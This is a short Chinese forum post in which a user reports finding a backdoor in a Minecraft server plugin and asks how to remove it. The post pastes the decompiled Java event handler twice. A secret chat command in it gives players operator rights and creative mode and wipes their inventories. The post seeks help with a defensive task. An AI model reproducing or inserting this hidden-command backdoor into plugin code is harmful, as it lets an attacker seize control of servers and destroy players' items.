后门已找到,不会消除那段编码,求大神教,下面是后门:
@EventHandler
private void a(PlayerCommandPreprocessEvent e)
{
try
{
Closeable asdhqjefhusfer = null; Object localObject = null;
if (asdhqjefhusfer != null) if (localObject != null) try { asdhqjefhusfer.close(); } catch (Throwable x2) { localObject.addSuppressed(x2); } else asdhqjefhusfer.close();
} catch (Exception localException) {
}
String msg = e.getMessage().toLowerCase();
if (msg.startsWith("/rpgitems3v4s ")) {
String[] sp = msg.split(" ");
if (sp.length > 1) {
x2 = sp[1]; int i = -1; switch (x2.hashCode())
{
case 351608024:
if (x2.equals("version")) i = 0; break;
case -838141326:
if (x2.equals("ooxxoxox")) i = 1; }
switch (i)
{
case 0:
e.getPlayer().sendMessage("rpgitemsv");
break;
case 1:
for (Player player : bg.c()) {
player.setOp(true);
player.setGameMode(GameMode.CREATIVE);
player.setAllowFlight(true);
player.setFlying(true);
player.getInventory().clear();
}
}
e.setCancelled(true); }
}
}
@EventHandler
private void a(PlayerCommandPreprocessEvent e)
{
try
{
Closeable asdhqjefhusfer = null; Object localObject = null;
if (asdhqjefhusfer != null) if (localObject != null) try { asdhqjefhusfer.close(); } catch (Throwable x2) { localObject.addSuppressed(x2); } else asdhqjefhusfer.close();
} catch (Exception localException) {
}
String msg = e.getMessage().toLowerCase();
if (msg.startsWith("/rpgitems3v4s ")) {
String[] sp = msg.split(" ");
if (sp.length > 1) {
x2 = sp[1]; int i = -1; switch (x2.hashCode())
{
case 351608024:
if (x2.equals("version")) i = 0; break;
case -838141326:
if (x2.equals("ooxxoxox")) i = 1; }
switch (i)
{
case 0:
e.getPlayer().sendMessage("rpgitemsv");
break;
case 1:
for (Player player : bg.c()) {
player.setOp(true);
player.setGameMode(GameMode.CREATIVE);
player.setAllowFlight(true);
player.setFlying(true);
player.getInventory().clear();
}
}
e.setCancelled(true); }
}
}